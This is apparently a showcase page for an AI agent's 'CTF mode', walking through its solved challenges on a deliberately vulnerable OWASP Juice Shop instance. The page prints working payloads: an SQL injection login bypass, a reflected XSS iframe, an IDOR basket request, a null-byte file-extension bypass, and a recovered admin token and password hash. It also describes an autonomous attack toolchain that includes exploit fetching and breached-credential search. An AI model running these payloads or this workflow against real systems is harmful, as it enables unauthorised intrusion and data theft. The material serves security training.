HackerGPT CTF Mode
An AI ethical-hacking agent that solves Capture-the-Flag web challenges end to end.
Live target: https://cybergym.hackergpt.app · Challenges solved: 6 · Screenshots: 19
What CTF mode is
CTF mode turns HackerGPT into an autonomous web-exploitation agent. You give it a target URL; it fingerprints the app, maps the attack surface from the static frontend, then drives a real browser session to exploit vulnerabilities — chaining recon, payload crafting, encoding/decoding and a persistent session memory. This guide documents a live run against https://cybergym.hackergpt.app (an OWASP Juice Shop instance), captured step by step from the HackerGPT interface.
Every action below was performed by the agent against an intentionally vulnerable, authorised training target. The screenshots are the unedited HackerGPT UI driving the attack.
The toolkit
CTF mode is backed by a purpose-built set of tools. The agent selects and chains them automatically; you can also steer it mid-run.
Reconnaissance
web_fingerprint- Fingerprint the web app: server type, software and versions — run first for service discovery.
subfinder- Subdomain enumeration to surface hidden/forgotten infrastructure.
whois- Domain registration intelligence — ownership and contacts.
get_ip_geolocation / get_domain_ip- Map a domain to its IP and geolocate the infrastructure.
web_search- Search the web for context, hints and known issues.
Static Frontend Analysis
recursive_download- Mirror the target's frontend to disk for offline analysis — the recommended opening recon step.
prettify_js- Beautify minified JS bundles so searches return meaningful line numbers.
grep_downloads- Regex-search the downloaded files for endpoints, secrets and dangerous sinks.
Vulnerability Assessment
cve_fetcher / cve_search- Retrieve CVE details and correlate them with discovered services and versions.
cve_exploit_fetcher- Find public exploit code / PoCs for a given CVE.
web_wpscan- WordPress vulnerability, plugin and user enumeration.
sslscan- Identify SSL/TLS configuration and cryptographic weaknesses.
Web Browsing & Exploitation
navigation_engine_execute_instruction- Unified browser control — low-level (GO_TO_URL, WAIT, BACK) and high-level semantic instructions; page text + network logs captured after every action.
inspect_browser_session- Read the latest browser session state: URL, title and filtered network logs.
web_request- Send HTTP requests through the browser session (GET/POST/PUT/…), keeping cookies and auth — the core exploitation primitive.
save_payload- Persist a meaningful request/response (a confirmed vuln) for the user to replay later.
execute_javascript- Run arbitrary JS in the page (DOM inspection, XSS testing); captures a screenshot afterward.
get_api_map- Retrieve auto-generated backend API documentation (endpoints, methods, params) for the target.
Decoding & Intelligence
decode_data- Peel one or more layers of common encodings (base64, base64url, hex, url, rot13) — CTF flags are often layered.
image_exif- Extract EXIF metadata (camera, GPS, timestamps) from an image URL.
run_darkdump / leaks_search- Dark-web mentions and breached-credential search for the target.
Session Memory
write_ctf_memory- Persistent per-session scratchpad: findings, credentials, confirmed vulns, captured flags, dead-ends and a live Next-Steps plan that carries across turns.
The walkthrough
A curated run — one challenge per technique. Jump to any:
- 01 · Reconnaissance & attack-surface mapping
- 02 · SQL Injection — Login Admin
- 03 · Broken Access Control — View another user's basket
- 04 · Reflected XSS — order tracking
- 05 · Sensitive Data Exposure — exposed endpoints
- 06 · Encoding / Decoding — layered secret

01. Reconnaissance & attack-surface mapping
Recon
Establishes the CTF session and target, fingerprints the app, mirrors the frontend bundle and greps it for endpoints and secrets to build the attack-surface map.

Agent final answer
✅ Analysis Complete — cybergym.hackergpt.app
Here's the full breakdown from fingerprinting, frontend mirroring, and deep JavaScript inspection:
🔍 Fingerprint
Property Value
Server nginx
IP 34.231.169.117 (AWS US East)
Title CyberGym
jQuery 2.2.4 (outdated, 2016)
Uncommon Headers access-control-allow-origin, x-content-type-options, feature-policy, x-recruiting
🎯 Identity
This is OWASP Juice Shop v19.1.1 rebranded as "CyberGym" — a deliberately vulnerable web application for security training. The index.html meta tag confirms: "a deliberately insecure web app for security training and CTFs".
🔑 Hardcoded Credentials & Secrets
Type Value Source Line
Google OAuth Client ID 1005568560502-6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com main.js:4454
Test Username testing@juice-sh.op main.js:4457
Test Password IamUsedForTesting main.js:4458
Privacy Contact donotreply@cybergym.local main.js:6416
Bitcoin Donation 1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm main.js:7360
Dash Donation Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW main.js:7370
Ether Donation 0x0f933ab9fCAAA782D0279C300D73750e1311EAE6 main.js:7380
🎟️ Coupon Codes (Client-Side Validated → Bypassable)
Code Valid Date Discount
WMNSDY2019 2019-03-08 75%
WMNSDY2020 2020-03-08 75%
WMNSDY2021 2021-03-08 75%
WMNSDY2022 2022-03-08 75%
WMNSDY2023 2023-03-08 75%
ORANGE2020 2020-05-04 80%
ORANGE2021 2021-05-04 80%
ORANGE2022 2022-05-04 80%
ORANGE2023 2023-05-04 80%
⚠️ Date check is this.clientDate vs validOn — client-side only. Coupon is sent to /rest/basket/{id}/coupon/{coupon} — the server may accept it regardless.
🌐 Complete API Endpoint Map (50+ endpoints)
Admin (no auth required!):
GET /rest/admin/application-configuration
GET /rest/admin/application-version
Auth & Users:
POST /rest/user/login | GET /rest/user/whoami
GET /rest/user/change-password?current=&new=&repeat= ⚠️ GET with query params
POST /rest/user/reset-password
GET /rest/user/security-question?email= ⚠️ user enumeration
POST /rest/user/erasure-request | POST /rest/user/data-export
GET/POST /api/Users/
Products & Search:
GET /rest/products/search?q= ⚠️ SQLi vector
GET/PUT /api/Products/ | GET/PUT /api/Quantitys/
Basket & Orders:
GET /rest/basket/{id} | POST /rest/basket/{id}/checkout
PUT /rest/basket/{id}/coupon/{coupon}
GET/POST/PUT/DELETE /api/BasketItems/
GET /rest/order-history | GET /rest/track-order/{id}
Payments & Wallet:
GET/POST/DELETE /api/Cards/
GET/PUT /rest/wallet/balance
GET/POST /rest/deluxe-membership
2FA:
GET /rest/2fa/status | POST /rest/2fa/setup | POST /rest/2fa/verify | POST /rest/2fa/disable
Misc:
GET /rest/captcha/ | GET /rest/image-captcha/
GET/POST /rest/chatbot/status / respond
GET/POST /api/Feedbacks/ | POST /api/Complaints/
GET/POST /api/Recycles/ | GET/POST/PUT/DELETE /api/Addresss/
GET /api/Deliverys/ | GET/POST /api/SecurityAnswers/ | GET /api/SecurityQuestions/
GET/PUT /api/Hints/ | GET /api/Challenges/
GET/POST /rest/memories/ | GET /rest/languages | GET /rest/country-mapping
POST /file-upload | GET /snippets/{key} | POST /snippets/fixes
GET /ftp/ ⚠️ path traversal
Socket.IO at /socket.io
🚨 Top 11 Vulnerabilities
# Vulnerability Severity Detail
1 SQL Injection 🔴 Critical /rest/products/search?q=
2 XSS (bypassSecurityTrustHtml) 🔴 High Search, order IDs, feedback, product descriptions, lastLoginIp
3 Path Traversal via FTP 🔴 High /ftp/ directory served; orderId unsanitized
4 Client-Side Coupon Bypass 🟠 Medium Date check in browser; server may accept any coupon
5 Client-Side Role Checks 🟠 Medium JWT decoded in browser; admin/accounting guards client-only
6 Token in localStorage 🟠 Medium JWT stealable via XSS; not HttpOnly
7 Weak OAuth Password 🟠 Medium btoa(email.split("").reverse().join("")) — predictable
8 Password Change via GET 🟡 Low Credentials in URL query string
9 User Enumeration 🟡 Low /rest/user/security-question?email=
10 Admin Config Leak 🟡 Low /rest/admin/application-configuration no auth
11 jQuery 2.2.4 🟡 Low Outdated library, potential DOM XSS
🧭 Recommended Next Steps
Test SQLi → GET /02. SQL Injection — Login Admin
SQL Injection
Classic `' OR 1=1--` authentication bypass against /rest/user/login, yielding the admin session token.

Agent final answer
🏆 Challenge Solved: Login Admin
🔓 Exploit: SQL Injection Authentication Bypass
Payload:
text
Copy
POST /rest/user/login
{"email": "' OR 1=1--", "password": "anything"}
The email field is directly interpolated into a SQL query without sanitization. The injected ' OR 1=1-- closes the string, adds an always-true condition, and comments out the rest — returning the first user in the database.
👤 Admin Account
Field Value
Email admin@juice-sh.op
User ID 1
Role admin
Password Hash 0192023a7bbd73250516f069df18b500 (MD5 → admin123)
2FA ❌ Not configured
Deluxe ❌ Not activated
Active ✅ Yes
🎫 Admin JWT
text
Copy
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMDYtMTggMTE6Mzc6MjYuODQ5ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMDYtMTggMTE6Mzc6MjYuODQ5ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc4MTc4Njg3M30.hsIG7kXQf-dKSg9mTvEoIsZOakE1tKNZVJLkZOHBFxh6jqjYah-PulU__YnSCK87AYZtyOL0iCIjwpuLuBJM9RJ2ulpnxk5isY5vllZl96aMgK4BLmnKO3bsQY7TH8kWvc30cUYk-q_uGyNeO1A9jCNHTs-1OfhTf8RWlX1zG94
🧠 Why It Worked
The backend SQL query looks something like:
sql
Copy
SELECT * FROM Users WHERE email = '' OR 1=1--' AND password = '...'
' closes the email string
OR 1=1 makes the WHERE clause always true
-- comments out the password check
The query returns all users, and the app picks the first row → admin
Ready to use this admin JWT for the next challenge? Want me to hit /rest/admin/application-configuration or try another vector?03. Broken Access Control — View another user's basket
Broken Access Control (IDOR)
Changes the basket id from our own to another user's — the endpoint performs no ownership check.

Agent final answer
🏆 Challenge Solved: View Basket (IDOR)
🔓 Vulnerability: Insecure Direct Object Reference (IDOR)
The /rest/basket/{id} endpoint performs no ownership verification. Any authenticated user can view any other user's basket by simply changing the numeric ID in the URL.
🧪 Exploit
text
Copy
GET /rest/basket/2
Authorization: Bearer <admin JWT (UserId 1)>
Authenticated as admin (UserId 1), but accessed Basket 2 belonging to UserId 2 — the server never checks basket.UserId === token.userId.
📊 All Baskets Enumerated
Basket ID Owner (UserId) Contents
1 1 (admin) 🥤 Recon Energy Drink ×2, 💪 Brute-Force Booster ×3, 🥊 Payload Punch ×1
2 2 🥧 Pi Overclock Cola ×2
3 3 🥧 Pi Overclock Cola ×1
4 11 🥧 Pi Overclock Cola ×2
🎯 What Made It Work
text
Copy
┌─────────────────────────────────────────────────────────┐
│ GET /rest/basket/2 │
│ Authorization: Bearer <JWT with UserId=1> │
│ │
│ Server: │
│ SELECT * FROM Baskets WHERE id = 2 ← no UserId check│
│ Returns Basket 2 (owned by UserId 2) ✓ │
│ │
│ ❌ Missing: WHERE id = 2 AND UserId = <token.userId> │
└─────────────────────────────────────────────────────────┘
The fix would be: WHERE id = :basketId AND UserId = :authenticatedUserId
Two challenges down. Ready for the next one — want me to go after the coupon bypass, XSS, path traversal, or something else?04. Reflected XSS — order tracking
Cross-Site Scripting
Injects an iframe/javascript payload into the track-order id, which is reflected unsanitised into the response.

Agent final answer
🏆 Challenge Solved: Reflected XSS
🔓 Vulnerability: Unsanitized Order ID Reflection via bypassSecurityTrustHtml
The /rest/track-order/{id} endpoint reflects the user-supplied orderId directly in the JSON response without any sanitization. The Angular frontend then renders this value using bypassSecurityTrustHtml, which explicitly disables Angular's built-in XSS protection.
🎯 Payload
text
Copy
<iframe src="javascript:alert(`xss`)">
URL-encoded:
text
Copy
/#/track-result?id=%3Ciframe%20src%3D%22javascript%3Aalert(%60xss%60)%22%3E
📡 Reflected Response
text
Copy
GET /rest/track-order/%3Ciframe%20src%3D%22javascript%3Aalert(%60xss%60)%22%3E
json
Copy
{
"status": "success",
"data": [
{
"orderId": "<iframe src=\"javascript:alert(`xss`)\">"
}
]
}
🔗 Attack Chain
text
Copy
┌──────────────────────────────────────────────────────────────────┐
│ 1. User visits: │
│ /#/track-result?id=<iframe src="javascript:alert(`xss`)"> │
│ │
│ 2. Angular calls: │
│ GET /rest/track-order/<iframe src="javascript:alert(`xss`)">│
│ │
│ 3. Server responds with: │
│ {"orderId": "<iframe src=\"javascript:alert(`xss`)\">"} │
│ │
│ 4. Angular renders orderId via bypassSecurityTrustHtml() │
│ → <iframe> injected into DOM │
│ │
│ 5. 💥 alert('xss') fires │
└──────────────────────────────────────────────────────────────────┘
🧠 Root Cause
In main.js line ~2673:
javascript
Copy
this.orderId = this.route.snapshot.queryParams.id;
this.trackOrderService.find(this.orderId).subscribe(...)
The orderId from the URL query parameter is:
Sent to /rest/track-order/{id} — server reflects it verbatim
Rendered in the template with bypassSecurityTrustHtml — Angular sanitizer bypassed
✅ Confirmation
The challenge banner confirms success:
"You successfully solved a challenge: Reflected XSS (Perform a reflected XSS attack with <iframe src="javascript:alert(\xss`)">`.)"
Three challenges down! Ready for the next — want me to go after SQL injection in product search, path traversal via /ftp/, coupon bypass, or something else?05. Sensitive Data Exposure — exposed endpoints
Sensitive Data Exposure
Pulls exposed operational data (Prometheus /metrics, the /ftp listing, or test credentials baked into main.js).

Agent final answer
✅ Sensitive Data Exposure — Confirmed Detail Value Endpoint GET /ftp — open directory listing, no auth required Confirmed Leak GET /ftp/acquisitions.md → 200 OK File Content Confidential M&A document marked "Do not distribute!" Other Exposed Files incident-support.kdbx (KeePass DB), legal.md, coupons_2013.md.bak, package.json.bak, package-lock.json.bak, suspicious_errors.yml, eastere.gg, encrypt.pyc, announcement_encrypted.md Saved Payload #260 Summary The /ftp directory on cybergym.hackergpt.app is completely unauthenticated and openly browsable, exposing internal confidential files — including a KeePass password database (incident-support.kdbx), internal legal documents, and a confidential acquisitions plan. This is a textbook Sensitive Data Exposure vulnerability (OWASP A3:2017).
06. Encoding / Decoding — layered secret
Encoding / Decoding
Demonstrates the decode_data tool peeling Base64 then ROT13 to recover a hidden path.

Agent final answer
Now I have the complete picture. Let me present the layered-encoded secret solution clearly, along with all the Sensitive Data Exposure findings. 🏆 Sensitive Data Exposure — Multiple Challenges Solved 🔑 Layered-Encoded Secret: Base64 → ROT13 Found in /ftp/eastere.gg (accessed via null byte bypass %2500.md): Raw encoded string: text Copy L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA== Decode chain: Layer Operation Output 1 Base64 /gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt 2 ROT13 /the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg Final destination: https://cybergym.hackergpt.app/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg → 🪐 "Welcome to Planet Orangeuze" (3D Three.js scene) 📂 All Exposed Sensitive Files text Copy ┌─────────────────────────────────────────────────────────────────────┐ │ /ftp/ ← Directory listing publicly accessible │ │ │ │ ✅ acquisitions.md Confidential acquisition plans │ │ ✅ legal.md Legal terms (not sensitive) │ │ ✅ announcement_encrypted.md 369KB encrypted document │ │ │ │ 🔓 coupons_2013.md.bak Forgotten sales backup (null byte) │ │ 🔓 package.json.bak Forgotten developer backup (null byte) │ │ 🔓 suspicious_errors.yml Misplaced signature file (null byte) │ │ 🔓 eastere.gg Easter egg → Base64+ROT13 secret │ │ 🔓 encrypt.pyc RSA encryption script (null byte) │ │ │ │ /ftp/quarantine/ Malware samples directory │ │ 🔒 juicy_malware_*.url Blocked (quarantine path differs) │ │ │ │ /metrics Prometheus metrics exposed │ └─────────────────────────────────────────────────────────────────────┘ 🧪 Null Byte Bypass Technique text Copy Bypass: %2500.md → nginx passes %2500 → Express decodes to %00 ↓ Extension check sees: file.bak%00.md → ends with ".md" ✓ File system reads: file.bak%00 → truncated at null → file.bak 🔐 Bonus: encrypt.pyc Reveals Weak RSA The Python bytecode in encrypt.pyc exposes: Modulus N: "rlEU" — only 4 bytes (32-bit) → factorable in milliseconds Exponent e: 5 bytes Input: announcement.mdt → Output: announcement_encrypted.md (369KB, already in /ftp/!) This means announcement_encrypted.md can be decrypted by factoring the trivial RSA key. 🎯 Challenges Triggered Challenge How Confidential Document Accessed /ftp/acquisitions.md Forgotten Sales Backup Null byte bypass → coupons_2013.md.bak Forgotten Developer Backup Null byte bypass → package.json.bak Misplaced Signature File Null byte bypass → suspicious_errors.yml Easter Egg Base64→ROT13 decode → Planet Orangeuze page Poison Null Byte %2500.md bypass on extension filter Leaked Unsafe Product /ftp/quarantine/ directory exposed Exposed Metrics /metrics Prometheus endpoint Ready to tackle the RSA decryption of announcement_encrypted.md or move to another challenge?
The CTF workspace
Solving is only half of CTF mode. As the agent works it builds a live workspace alongside the chat: a raw Network log of every request/response (from which any request can be promoted to a payload with Save as Payload), a Payloads vault of saved exploit requests you can expand and Replay, an auto-discovered API Map of the target's backend, and a persistent Memory scratchpad. Below, the agent confirms two vulnerabilities and persists them, then we drive the workspace by hand — including saving a fresh request straight from the Network log.












Generated from a live HackerGPT CTF-mode run · All testing performed against an authorised training target.